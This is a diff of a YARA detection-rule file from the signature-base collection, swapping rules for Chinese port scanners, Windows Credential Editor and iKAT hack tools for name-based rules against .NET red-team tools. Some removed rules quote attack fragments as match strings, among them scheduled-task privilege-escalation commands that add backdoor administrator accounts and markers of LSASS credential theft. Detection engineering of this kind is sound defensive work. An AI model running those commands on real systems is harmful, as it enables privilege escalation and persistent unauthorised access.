-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L604-L618"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e5bc7b3264d7fc63fcc6c3d7e45859eb83b8ce60bd9a918f5eff887f626d09a3"
-		score = 60
+		reference = "https://github.com/0xB455/AmsiBypass"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L251-L265"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8fa4ba512b34a898c4564a8eac254b6a786d195b"
+		logic_hash = "e445c541a723ab05072ed38d6143d0a99c7db0ba6889b87fad147dc9a01be9d7"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "for /f \"skip=4 tokens=2,5\" %%a in ('netstat -ano -p TCP') do (" ascii
-		$s1 = "in ('tasklist /fi \"PID eq %%b\" /FO CSV') do " ascii
-		$s2 = "@echo off" ascii
+		$name = "AmsiBypass" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_Hacktool_Ssport_Portscanner
+rule SIGNATURE_BASE_HKTL_NET_NAME_Recon_AD : FILE
 {
 	meta:
-		description = "Detects a chinese Portscanner named SSPort"
-		author = "Florian Roth (Nextron Systems)"
-		id = "38cc8830-efd3-51b7-8ac6-c9bf468212cb"
-		date = "2014-12-10"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "097de5cd-0cd4-59cc-a7b7-54cad8e6d230"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L620-L634"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "30c380b6c683cbcbef7072e793d94e1782206b844fa23d334b737818f0a32f9f"
-		score = 70
+		reference = "https://github.com/outflanknl/Recon-AD"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L267-L280"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7bfafb2d3e85bb584bd02cb92457d22b07626f71d071c44a4aefbb5748045446"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Golden Fox" fullword wide
-		$s1 = "Syn Scan Port" fullword wide
-		$s2 = "CZ88.NET" fullword wide
+		$name = "Recon-AD" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_Hacktool_Scanport_Portscanner
+rule SIGNATURE_BASE_HKTL_NET_NAME_Sharpwatchdogs : FILE
 {
 	meta:
-		description = "Detects a chinese Portscanner named ScanPort"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a708283e-339c-599f-9321-3b063d0076a9"
-		date = "2014-12-10"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "5343be58-879a-5fe7-9036-ee6a22d85f22"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L636-L650"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fa2dce57cc3e9baecb80b0165dfeb1af1ba4c4b30098e3b1252eb98b4fc30f7f"
-		score = 70
-		quality = 60
-		tags = ""
+		reference = "https://github.com/RITRedteam/SharpWatchdogs"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L282-L295"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3b9410d7e502a5fd55e534d8fe79710d48cf65a0e9859bdd0fea6c8d32311df0"
+		score = 75
+		quality = 85
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "LScanPort" fullword wide
-		$s1 = "LScanPort Microsoft" fullword wide
-		$s2 = "www.yupsoft.com" fullword wide
+		$name = "SharpWatchdogs" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_Hacktool_S_EXE_Portscanner
+rule SIGNATURE_BASE_HKTL_NET_NAME_Sharpcat : FILE
 {
 	meta:
-		description = "Detects a chinese Portscanner named s.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d6b35d4f-7e25-50dd-bef2-08f7033312e8"
-		date = "2014-12-10"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "a46be8d3-bf7b-5d86-b88b-33e6c8c152d8"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L652-L666"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "658ae90f3af3c7abec6e692b6be350939ba7b654a9972d1a1016ff33e815a1de"
-		score = 70
+		reference = "https://github.com/Cn33liz/SharpCat"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L297-L310"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b9e5946f8df1649e71abf014aa6579edbbc93a12ddcc56f8d85d97ae087c8711"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\\Result.txt" ascii
-		$s1 = "By:ZT QQ:376789051" fullword ascii
-		$s2 = "(http://www.eyuyan.com)" fullword wide
+		$name = "SharpCat" ascii wide fullword
+		$compile = "AssemblyTitle" ascii wide fullword
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_Hacktool_Milkt_BAT
+rule SIGNATURE_BASE_HKTL_NET_NAME_K8Tools : FILE
 {
 	meta:
-		description = "Detects a chinese Portscanner named MilkT - shipped BAT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d680a5f1-6182-5bc8-99de-c3cba1a61903"
-		date = "2014-12-10"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "b30fc856-073d-542f-b222-a957322732c2"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L668-L681"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ad74c45db0ef52223eb4dd162a21c57074a4ecb869a841d836d14afc997a7478"
-		score = 70
+		reference = "https://github.com/k8gege/K8tools"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L312-L325"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "370cab83917bbc76f7f3a1b7793773ddf139879880e55efe59c72a07b34120f1"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" ascii
-		$s1 = "if not \"%Choice%\"==\"\" set Choice=%Choice:~0,1%" ascii
+		$name = "K8tools" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_Hacktool_Milkt_Scanner
+rule SIGNATURE_BASE_HKTL_NET_NAME_Httpsbeaconshell : FILE
 {
 	meta:
-		description = "Detects a chinese Portscanner named MilkT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "aa83c983-25c2-5051-88a1-fbc70d947d6e"
-		date = "2014-12-10"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "3bd7234b-a23e-5818-aed1-52d42023943b"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L683-L701"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "707cbd625b5694b710d01622a053e60828da7f70b38e43012d04364137583fe9"
-		score = 60
+		reference = "https://github.com/limbenjamin/HTTPSBeaconShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L327-L340"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6a0d7e1f796ae6cefa297978c743916a08b2406c37fa2c1f3f697a17cb032517"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Bf **************" ascii fullword
-		$s1 = "forming Time: %d/" ascii
-		$s2 = "KERNEL32.DLL" ascii fullword
-		$s3 = "CRTDLL.DLL" ascii fullword
-		$s4 = "WS2_32.DLL" ascii fullword
-		$s5 = "GetProcAddress" ascii fullword
-		$s6 = "atoi" ascii fullword
+		$name = "HTTPSBeaconShell" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_Hacktool_1433_Scanner : FILE
+rule SIGNATURE_BASE_HKTL_NET_NAME_Ghostpack_Compiledbinaries : FILE
 {
 	meta:
-		description = "Detects a chinese MSSQL scanner"
-		author = "Florian Roth (Nextron Systems)"
-		id = "77712d29-1a32-59e7-999a-a2ef02212886"
-		date = "2014-12-10"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "7cc81894-8c01-5a17-a7ed-1cb4cf1e2d53"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L703-L720"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3e51e3596fc90bcea46236728da5437a9b6f56a42d64a651940321f575b32129"
-		score = 40
+		reference = "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L342-L355"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a8e90f07b7d1ec309e51e3606169a05c4bb2b2aa7e31ca26b21f927d648c13cd"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "1433" wide fullword
-		$s1 = "1433V" wide
-		$s2 = "del Weak1.txt" ascii fullword
-		$s3 = "del Attack.txt" ascii fullword
-		$s4 = "del /s /Q C:\\Windows\\system32\\doors\\" ascii
-		$s5 = "!&start iexplore http://www.crsky.com/soft/4818.html)" fullword ascii
+		$name = "Ghostpack-CompiledBinaries" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and all of ($s*)
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_Hacktool_1433_Scanner_Comp2 : FILE
+rule SIGNATURE_BASE_HKTL_NET_NAME_Metasploit_Sharp : FILE
 {
 	meta:
-		description = "Detects a chinese MSSQL scanner - component 2"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7d707be5-dad0-5d91-965b-908a8603b6c0"
-		date = "2014-12-10"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "b425f241-4887-5368-b42b-3fbbd3b769c6"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L722-L736"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7c84d59a821531d9e741a05a23a911bb1caa825a18bb6532381e5ff38193c260"
-		score = 40
+		reference = "https://github.com/VolatileMindsLLC/metasploit-sharp"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L357-L370"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7a1c4e077e197a5cdca8cb12713abb3fa86a3f6ea8e8f2f632c9c8e42d829acc"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "1433" wide fullword
-		$s1 = "1433V" wide
-		$s2 = "UUUMUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUMUUU" ascii fullword
+		$name = "metasploit-sharp" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and all of ($s*)
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_WCE_Modified_1_1014
+rule SIGNATURE_BASE_HKTL_NET_NAME_Trevorc2 : FILE
 {
 	meta:
-		description = "Modified (packed) version of Windows Credential Editor"
-		author = "Florian Roth (Nextron Systems)"
-		id = "536d1a7f-bda1-5c22-bf72-a177468e7c42"
-		date = "2023-12-05"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "d1634a0d-6964-5886-b836-85c3ce6b8a17"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L738-L752"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "09a412ac3c85cedce2642a19e99d8f903a2e0354"
-		logic_hash = "f094d635aabea9b9101fad3d0d23ad37692317ae5b4f636296ee612752c4421f"
-		score = 70
+		reference = "https://github.com/trustedsec/trevorc2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L372-L385"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c1d56ef865e6619d9d0deff90b154c63cc3036a8521d3952819e45f51fca9fea"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "LSASS.EXE" fullword ascii
-		$s1 = "_CREDS" ascii
-		$s9 = "Using WCE " ascii
+		$name = "trevorc2" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Ikat_Wmi_Rundll : FILE
+rule SIGNATURE_BASE_HKTL_NET_NAME_Nativepayload_DNS2 : FILE
 {
 	meta:
-		description = "This exe will attempt to use WMI to Call the Win32_Process event to spawn rundll - file wmi_rundll.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e3d80c95-d333-53cf-8165-b3a1e66ed00d"
-		date = "2014-05-11"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "0fa01355-de57-573e-9056-0b7a5d24572d"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L773-L794"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "97c4d4e6a644eed5aa12437805e39213e494d120"
-		logic_hash = "b857e17c790a97468ae69c8cbec6474ee38bea25bb04520516a2603996d4bd41"
-		score = 65
+		reference = "https://github.com/DamonMohammadbagher/NativePayload_DNS2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L387-L400"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "765e6117f69fb58e5e71544badc8135b2ec641a74cc0489a7c79308ca2837bd7"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "This operating system is not supported." fullword ascii
-		$s1 = "Error!" fullword ascii
-		$s2 = "Win32 only!" fullword ascii
-		$s3 = "COMCTL32.dll" fullword ascii
-		$s4 = "[LordPE]" ascii
-		$s5 = "CRTDLL.dll" fullword ascii
-		$s6 = "VBScript" fullword ascii
-		$s7 = "CoUninitialize" fullword ascii
+		$name = "NativePayload_DNS2" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them and filesize <15KB
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Ikat_Revelations
+rule SIGNATURE_BASE_HKTL_NET_NAME_Aggressiveproxy : FILE
 {
 	meta:
-		description = "iKAT hack tool showing the content of password fields - file revelations.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c5ef2c2a-c9c0-5c3a-bbcc-0b0949527850"
-		date = "2014-05-11"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "e2d3c4e2-404b-59f8-b3d0-a7cef4dfd0ff"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L796-L813"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c4e217a8f2a2433297961561c5926cbd522f7996"
-		logic_hash = "0f3aa9e784beb7de8b560ecde8cc06d49e07f5e4ea4acb233ec9ac007179d7a3"
+		reference = "https://github.com/EncodeGroup/AggressiveProxy"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L402-L415"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "702b0cc858cb1687962ac403a730e5f778bf51fc91627c50103e4299f4a3ca5f"
 		score = 75
-		quality = 60
-		tags = ""
+		quality = 85
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "The RevelationHelper.DLL file is corrupt or missing." fullword ascii
-		$s8 = "BETAsupport@snadboy.com" fullword wide
-		$s9 = "support@snadboy.com" fullword wide
-		$s14 = "RevelationHelper.dll" fullword ascii
+		$name = "AggressiveProxy" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Ikat_Priv_Esc_Tasksch
+rule SIGNATURE_BASE_HKTL_NET_NAME_Msbuildapicaller : FILE
 {
 	meta:
-		description = "Task Schedulder Local Exploit - Windows local priv-esc using Task Scheduler, published by webDevil. Supports Windows 7 and Vista."
-		author = "Florian Roth (Nextron Systems)"
-		id = "0786b313-3154-536b-b7eb-c4d8444a309f"
-		date = "2014-05-11"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "143da57f-b01f-5688-b741-1bc4d06cd7d1"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L815-L841"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "84ab94bff7abf10ffe4446ff280f071f9702cf8b"
-		logic_hash = "6d0f755a758aaac4328f5f4343b424c03c2751ddad6a1dbe7c0332171c027945"
+		reference = "https://github.com/rvrsh3ll/MSBuildAPICaller"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L417-L430"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3c1f33c759e6331c562dbf76ce7e34ee82d10070e331d0967143d9d7fad077fc"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "objShell.Run \"schtasks /change /TN wDw00t /disable\",,True" fullword ascii
-		$s3 = "objShell.Run \"schtasks /run /TN wDw00t\",,True" fullword ascii
-		$s4 = "'objShell.Run \"cmd /c copy C:\\windows\\system32\\tasks\\wDw00t .\",,True" fullword ascii
-		$s6 = "a.WriteLine (\"schtasks /delete /f /TN wDw00t\")" fullword ascii
-		$s7 = "a.WriteLine (\"net user /add ikat ikat\")" fullword ascii
-		$s8 = "a.WriteLine (\"cmd.exe\")" fullword ascii
-		$s9 = "strFileName=\"C:\\windows\\system32\\tasks\\wDw00t\"" fullword ascii
-		$s10 = "For n = 1 To (Len (hexXML) - 1) step 2" fullword ascii
-		$s13 = "output.writeline \" Should work on Vista/Win7/2008 x86/x64\"" fullword ascii
-		$s11 = "Set objExecObject = objShell.Exec(\"cmd /c schtasks /query /XML /TN wDw00t\")" fullword ascii
-		$s12 = "objShell.Run \"schtasks /create /TN wDw00t /sc monthly /tr \"\"\"+biatchFile+\"" ascii
-		$s14 = "a.WriteLine (\"net localgroup administrators /add v4l\")" fullword ascii
-		$s20 = "Set ts = fso.createtextfile (\"wDw00t.xml\")" fullword ascii
+		$name = "MSBuildAPICaller" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Ikat_Command_Lines_Agent
+rule SIGNATURE_BASE_HKTL_NET_NAME_Graykeylogger : FILE
 {
 	meta:
-		description = "iKAT hack tools set agent - file ikat.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "35068d59-272d-55a6-b211-2c138276914c"
-		date = "2014-05-11"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "c63875b6-1701-5594-927e-833c25dc5d98"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L843-L864"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c802ee1e49c0eae2a3fc22d2e82589d857f96d94"
-		logic_hash = "a39f8e388aa11c732156753f4a19aa9cc3ccd0437de30cdcc608926320a089b0"
+		reference = "https://github.com/DarkSecDevelopers/GrayKeylogger"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L432-L445"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b8e12c5ddf0d50d0b3681594c8bc3410a24dab00035a5959e20d20045dacbbbd"
 		score = 75
-		quality = 60
-		tags = ""
+		quality = 85
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Extended Module: super mario brothers" fullword ascii
-		$s1 = "Extended Module: " fullword ascii
-		$s3 = "ofpurenostalgicfeeling" fullword ascii
-		$s8 = "-supermariobrotheretic" fullword ascii
-		$s9 = "!http://132.147.96.202:80" fullword ascii
-		$s12 = "iKAT Exe Template" fullword ascii
-		$s15 = "withadancyflavour.." fullword ascii
-		$s16 = "FastTracker v2.00   " fullword ascii
+		$name = "GrayKeylogger" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		4 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Ikat_Cmd_As_Dll
+rule SIGNATURE_BASE_HKTL_NET_NAME_Weevely3 : FILE
 {
 	meta:
-		description = "iKAT toolset file cmd.dll ReactOS file cloaked"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8d15b4b6-25f3-556c-bfa8-eba503c9c649"
-		date = "2014-05-11"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "6bf766b6-d065-5a84-8258-3be448b9cbb8"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L866-L884"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b5d0ba941efbc3b5c97fe70f70c14b2050b8336a"
-		logic_hash = "3f8390fb6eb16749e63379222a5899b811e7ccd6b3b219b60d7a621fd4595e7b"
-		score = 65
+		reference = "https://github.com/epinna/weevely3"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L447-L460"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c57c6ba5276679a2d32e9b0ebb61059c5bed1ba45f9792ecef3d5c7244f38f24"
+		score = 75
 		quality = 85
-		tags = ""
